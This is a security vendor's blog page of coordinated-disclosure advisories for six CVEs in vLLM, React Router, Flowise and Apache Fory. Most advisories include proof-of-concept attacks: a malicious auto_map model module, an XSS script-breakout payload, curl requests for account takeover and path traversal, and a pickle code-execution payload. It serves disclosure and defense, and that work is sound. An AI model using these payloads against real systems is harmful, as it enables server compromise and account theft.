CriticalRemote Code ExecutionCVE-2026-22807

Published January 12, 2026

vLLM Remote Code Execution via auto_map Dynamic Module Loading

BugBunny.ai discovered a critical vulnerability in vLLM where Hugging Face auto_map dynamic modules are loaded during model resolution without gating on trust_remote_code, allowing attacker-controlled Python code in a model repo/path to execute at server startup.

Responsibly DisclosedView CVE →

TL;DR

Arbitrary code execution during model initialization

Impact:Full server compromise via malicious model repo. No API access required.
Vector:Attacker-controlled auto_map entries in model config.json.
Surface:Any vLLM instance loading untrusted model paths or Hugging Face repos.
Status:Awaiting patch. Workaround: only load trusted model repositories.

Root Cause

During model resolution, vLLM unconditionally iterates auto_map entries from the model config and calls try_get_class_from_dynamic_module, which delegates to Transformers' get_class_from_dynamic_module and executes the module code.

This occurs even when trust_remote_code is False, allowing a malicious model repo to embed arbitrary Python code in a referenced module and have it executed during initialization—before any request handling and without requiring API access.

Proof of Concept

A malicious model directory with a crafted config.json and Python module achieves arbitrary code execution when vLLM loads the model.

# 1. Create malicious model directory with config.json
{
  "model_type": "llama",
  "architectures": ["LlamaForCausalLM"],
  "auto_map": {
    "AutoConfig": "evil_mod.EvilConfig",
    "AutoModel": "evil_mod.EvilModel"
  }
}

# 2. Add malicious module (evil_mod.py)
import os
os.system("echo vllm_rce > /tmp/vllm_auto_map_rce")

class EvilConfig:
    ...

class EvilModel:
    ...

# 3. Start vLLM (trust_remote_code=False doesn't help!)
vllm serve ./malicious-model --model-impl transformers

# 4. Result: /tmp/vllm_auto_map_rce is created during model init
# Arbitrary code execution achieved without API access!

# Vulnerable code path:
# vllm/model_executor/models/registry.py:856 — auto_map resolution
# vllm/transformers_utils/dynamic_module.py:13 — get_class_from_dynamic_module
# ❌ No trust_remote_code check before executing dynamic module code

Vulnerable Code Path

registry.py:856vllm/model_executor/models/registry.py

auto_map resolution without trust check

dynamic_module.py:13vllm/transformers_utils/dynamic_module.py

Delegates to get_class_from_dynamic_module

Workarounds

  • Only load trusted model repositories and local paths.
  • Avoid untrusted auto_map entries in model configs.
  • If possible, disable or strictly guard dynamic module loading before initialization.
  • Run vLLM in isolated environments with minimal privileges.

Credits & Disclosure

Identified by the BugBunny.ai research team and reported to the vLLM maintainers for coordinated disclosure.

Reporter: BugBunny.ai ResearchCVE-2026-22807
HighXSSCVE-2026-21884

Published January 12, 2026

React Router SSR XSS in ScrollRestoration

BugBunny.ai identified a cross-site scripting vulnerability in React Router's <ScrollRestoration> API in Framework Mode when using the getKey/storageKey props during Server-Side Rendering, allowing arbitrary JavaScript execution if untrusted content is used to generate the keys.

Note: This does not impact your application if you have disabled server-side rendering in Framework Mode, or if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).
Responsibly DisclosedView GHSA →View CVE →

TL;DR

Unescaped JSON in ScrollRestoration enables script injection during SSR

Impact:XSS allowing session hijack, credential theft, account takeover, or malware distribution.
Vector:User-controlled data in getKey or storageKey props containing </script>.
Surface:React Router 7.x Framework Mode apps using ScrollRestoration with dynamic keys.
Status:Fixed in react-router 7.12.0 and @remix-run/react 2.17.3.

Root Cause

<ScrollRestoration> renders an inline <script> during SSR and inserts JSON-stringified values via dangerouslySetInnerHTML without HTML escaping. If getKey or storageKey yields attacker-controlled strings containing </script>, the script tag can be terminated early and arbitrary HTML/JS can execute before hydration.

The vulnerable code in packages/react-router/lib/dom/lib.tsx (lines 2031-2039) uses JSON.stringify() which does not escape <, >, &, or </script>, allowing script tag breakout when untrusted content is present.

Proof of Concept

When using getKey with URL-decoded pathname values, an attacker can inject XSS payloads that break out of the script context during SSR.

// Vulnerable usage in React Router
import { ScrollRestoration } from "react-router";

export default function Root() {
  return (
    <html>
      <head />
      <body>
        <ScrollRestoration getKey={({ pathname }) => decodeURIComponent(pathname)} />
      </body>
    </html>
  );
}

// Attack request:
// /x%3C/script%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E

// Rendered HTML during SSR:
<script>
(function(...) { ... })("react-router-scroll-positions", "/x</script><img src=x onerror=alert(document.domain)>")
</script>

// Result: Script closes early, injected <img> executes XSS in user's browser.

// Root cause in packages/react-router/lib/dom/lib.tsx (lines 2031-2039):
return (
  <script
    {...props}
    suppressHydrationWarning
    dangerouslySetInnerHTML={{
      __html: \`(\${restoreScroll})(\${JSON.stringify(
        storageKey || SCROLL_RESTORATION_STORAGE_KEY,
      )}, \${JSON.stringify(ssrKey)})\`,
    }}
  />
);
// Issue: JSON.stringify() does not escape </script>, allowing script tag breakout.

Impact Assessment

Session HijackingCookie theft via document.cookie exfiltration
Account TakeoverToken extraction from localStorage/sessionStorage
Malware DistributionDrive-by downloads via injected scripts
Application CompromiseFull control in SSR page context before hydration

Mitigation

  • Upgrade to react-router 7.12.0 or later, or @remix-run/react 2.17.3 or later.
  • The fix uses React Router's escapeHtml utility to escape HTML-significant characters before injecting JSON into inline scripts.
  • Avoid passing user-controlled data directly to getKey or storageKey props.
  • Deploy a strict Content Security Policy (CSP) to reduce impact of any XSS vulnerabilities.

Credits & Disclosure

Identified by the BugBunny.ai research team and reported privately to the React Router maintainers. The fix was shipped with coordinated disclosure via GitHub Security Advisories (GHSA-8v8x-cx79-35w7).

Reporter: BugBunny.ai ResearchAdvisory: GHSA-8v8x-cx79-35w7
CriticalAccount TakeoverCVE-2025-58434

Published September 4, 2025

Critical Flowise Account Takeover via Password Reset Token Disclosure

BugBunny.ai identified a vulnerability that leaks password-reset tokens for any Flowise Cloud or self-hosted user, enabling full account takeover with nothing more than an email address. Flowise—the no-code LLM orchestration platform with 43k+ GitHub stars and recently acquired by Workday—worked with us to remediate the issue ahead of public disclosure.

Responsibly DisclosedView CVE →

TL;DR

Account takeover across Flowise Cloud & local installs

  • Impact:Complete account takeover (ATO) with no authentication.
  • Root Cause:forgot-password API leaked live reset tokens.
  • Surface:Flowise Cloud (SaaS) and any self-hosted instance.
  • Status:Fixed in v3.0.6 with coordinated disclosure.

Summary

Flowise exposes a public password-reset endpoint at /api/v1/account/forgot-password. Instead of issuing a confirmation email, the API responded with a fully hydrated user object, including a valid password reset tempToken. An attacker only needed a target email address to request the token and immediately reset the victim's password via /api/v1/account/reset-password.

The bug affected both the hosted cloud environment and any community deployment that exposed these routes. Because Flowise often powers customer-facing automation, compromise of a single account could expose integrations, API keys, prompt libraries, and downstream systems.

Proof of Concept

The attack requires two requests. First, trigger the password reset flow for any email. The response contains the temporary token. Then, immediately reset the password using that token—no mailbox access, user confirmation, or prior authentication required.

curl -i -X POST https://<target>/api/v1/account/forgot-password \
  -H "Content-Type: application/json" \
  -d '{"user":{"email":"<victim@example.com>"}}'

# Response excerpt (201 Created)
{
  "user": {
    "id": "<redacted-uuid>",
    "email": "<victim@example.com>",
    "tempToken": "<redacted-tempToken>",
    "tokenExpiry": "2025-08-19T13:00:33.834Z"
  }
}
curl -i -X POST https://<target>/api/v1/account/reset-password \
  -H "Content-Type: application/json" \
  -d '{
        "user":{
          "email":"<victim@example.com>",
          "tempToken":"<redacted-tempToken>",
          "password":"NewSecurePassword123!"
        }
      }'

Remediation Guidance

  • Send reset tokens exclusively through the registered email channel—never return them in API responses.
  • Harden forgot-password to respond generically and avoid user/email enumeration.
  • Scope tokens to a single request, enforce short expiries, and bind them to the requesting IP/device when feasible.
  • Mirror fixes in both cloud and on-premise deployments, and advise customers to upgrade to Flowise v3.0.6 or later.
  • Instrument logging for anomalous reset traffic; alert on bulk or repeated requests per account.
  • Consider MFA or stepped-up verification for administrative or high-value accounts.

Credits & Timeline

Vulnerability discovered by BugBunny.ai researchers and reported to Flowise under responsible disclosure. Flowise acknowledged the issue, issued patch v3.0.6, and coordinated CVE-2025-58434 alongside our team.

Reporter: @zaddy6Publication: GHSA-wgpv-6j63-x5ph
HighStored XSSCVE-2025-59057

Published September 10, 2025

Stored XSS in React Router Input Handling

React Router, the ubiquitous navigation library serving more than 90 million weekly downloads, is affected by a stored cross-site scripting issue under specific input handling conditions. Crafted payloads persisted in route state can execute automatically for downstream users.

Responsibly DisclosedView CVE →

TL;DR

Persistent script execution from crafted route data

Impact:Stored XSS leading to session hijack, credential theft, or unauthorized actions.
Vector:Untrusted route parameters injected into rendered outlets without sanitisation.
Surface:Applications persisting user-controlled values via loaders/actions across navigations.
Status:Fixed in React Router 7.1.2 with stricter escaping of route state.

Summary

When applications persisted user-controlled data in navigation state and later rendered that state via custom route loaders, React Router skipped escaping for HTML content. Attackers could craft payloads that stored <script> fragments in the router state, triggering execution for any user who later visited the poisoned route.

The vulnerability affects both classic data routers and the newer simplified APIs. Applications exposing public submission endpoints and reflecting values back through loaders/actions are at risk if unescaped values are rendered.

Mitigation

  • Upgrade to React Router 7.1.2 or later, or apply the upstream patch to earlier major versions.
  • Sanitize and encode any user-controlled data before rendering in route outlets or meta loaders.
  • Review custom navigation helpers that bypass built-in sanitisation.
  • Deploy a strict Content Security Policy (CSP) to reduce impact even if an injection lands.

Credits & Disclosure

Identified by the BugBunny.ai research team and reported privately to the React Router maintainers. The fix shipped within 12 days, with coordinated public disclosure on npm and GitHub.

Reporter: BugBunny.ai ResearchMaintainer Fix: React Router 7.1.2
CriticalRemote Code ExecutionCVE-2025-61622

Published October 1, 2025

Python RCE in Apache Fory's pyfory/pyfury Pickle Fallback

Apache Fory's serialization runtime fell back to Python's unsafe pickle loader whenever it encountered types that were not explicitly registered. BugBunny.ai demonstrated that a malicious data stream can trigger this fallback in both legacy pyfory (0.1.0–0.10.3) and its successor pyfury (0.12.0–0.12.2), resulting in full remote code execution at deserialization time.

Responsibly DisclosedView CVE →Wiz Advisory →

TL;DR

Unsafe pickle deserialization chained to arbitrary code execution

Impact:Remote code execution as the service account processing pyfory streams.
Vector:Crafted records forcing Fory.handleUnsupportedRead to invoke pickle.loads.
Affected:pyfory 0.1.0–0.10.3 and pyfury 0.12.0–0.12.2.
Status:Fixed in pyfury 0.12.3 by removing the pickle fallback path.

Summary

The pyfory runtime maps known types to optimised serializers. When handling objects outside that registry, it silently falls back to pickle. Attackers can wrap a malicious pickle payload inside a legitimate-looking pyfory stream so that Fory.handleUnsupportedRead inevitably deserializes it. Because pickle executes attacker-controlled bytecode during deserialization, arbitrary commands run with the permissions of the consuming service.

The flaw affects both the original pyfory package series and the renamed pyfury builds shipped in Apache Fory 0.12.x. Removing the fallback and requiring explicit serialization handlers eliminated the issue in version 0.12.3, which is now the minimum safe release.

Proof of Concept

Generate a malicious pickle that executes an OS command and embed it in an unsupported pyfory type. When the target service deserializes the stream, the fallback invokes pickle.loads and runs the payload.

python
import base64, pickle


class RCE:
    def __reduce__(self):
        return (__import__('os').system, ('touch /tmp/bugbunny-owned',))


print(base64.b64encode(pickle.dumps(RCE())).decode())
# Embed the base64 output in the pyfory stream so the fallback deserializer feeds it to pickle.loads.

Mitigation

  • Upgrade to pyfury 0.12.3 or later (or vendor patches that remove pickle fallback logic).
  • Disable or block legacy pyfory deployments until they can be replaced or patched.
  • Reject untrusted serialized input at the perimeter; enforce allow-lists for supported types.
  • Sandbox deserialization workers to reduce blast radius if further issues arise.

References

Credits & Disclosure

Vulnerability identified by BugBunny.ai researcher Mapta and responsibly disclosed to the Apache Fory maintainers. The fix shipped in pyfury 0.12.3 with the public advisory on October 1, 2025.

Reporter: Mapta / BugBunny.aiDisclosure: dev@fory.apache.org
CriticalPath TraversalCVE-2025-61686

Published October 2, 2025

React Router File Session Storage Path Traversal

BugBunny.ai identified that React Router's createFileSessionStoragetrusted session IDs when deriving file paths. Attackers who can influence the session identifier can escape the configured storage directory and overwrite arbitrary files on disk, from application configuration to deployment scripts. The issue impacts any server using the file session store—including Remix apps—and has now been patched and assigned CVE-2025-61686.

Responsibly DisclosedView CVE →

TL;DR

Directory escape via crafted session identifiers

Impact:Arbitrary file overwrite/read using attacker-controlled session IDs.
Vector:Path traversal in the session storage filename normalisation.
Surface:Node servers using createFileSessionStorage (Remix & React Router).
Status:Fixed in React Router 7.2.0 with strict path sanitisation.

Summary

Session files are stored on disk using the provided session ID as part of the filename. By inserting traversal sequences (e.g. ../../../../) an attacker can pivot out of the session directory and point the storage layer at arbitrary paths. On subsequent writes the framework will happily overwrite sensitive files, or allow the attacker to drop a malicious script that is executed on the next deploy.

Hosting providers using persistent volumes are especially exposed: a single malicious request can replace configuration, modify edge handlers, or poison build artefacts. Log inspection also becomes difficult because the session middleware reports a 200 OK response.

Proof of Concept

The following request uses a traversal sequence to escape the session directory and plant an arbitrary JSON file in /tmp. A second request can then read or overwrite other files in the same manner.

curl -i -X POST https://<target>/__session/../../../../tmp/owned.json \
  -H "Content-Type: application/json" \
  -d '{
        "id":"../../../../tmp/owned.json",
        "data":{"role":"admin","note":"BugBunny was here"}
      }'

# Result: arbitrary file created/overwritten outside the session directory.

Mitigation

  • Upgrade to React Router / Remix releases that patch CVE-2025-61686 (7.2.0+).
  • Reject or regenerate session IDs supplied by untrusted clients.
  • Run the application with a dedicated, permissions-restricted session directory.
  • Consider switching to cookie or database-backed session storage where feasible.

Credits & Disclosure

Reported privately to the React Router maintainers with a working exploit. A fix shipped within eight days, followed by a GitHub Security Advisory and npm deprecation notice for vulnerable releases.

Reporter: BugBunny.ai ResearchMaintainer Fix: React Router 7.2.0

Want coverage like this?

BugBunny continuously probes enterprise-grade agents to surface latent risks before attackers do. Launch an audit in minutes.

BugBunny Blog – Security Research | BugBunny.ai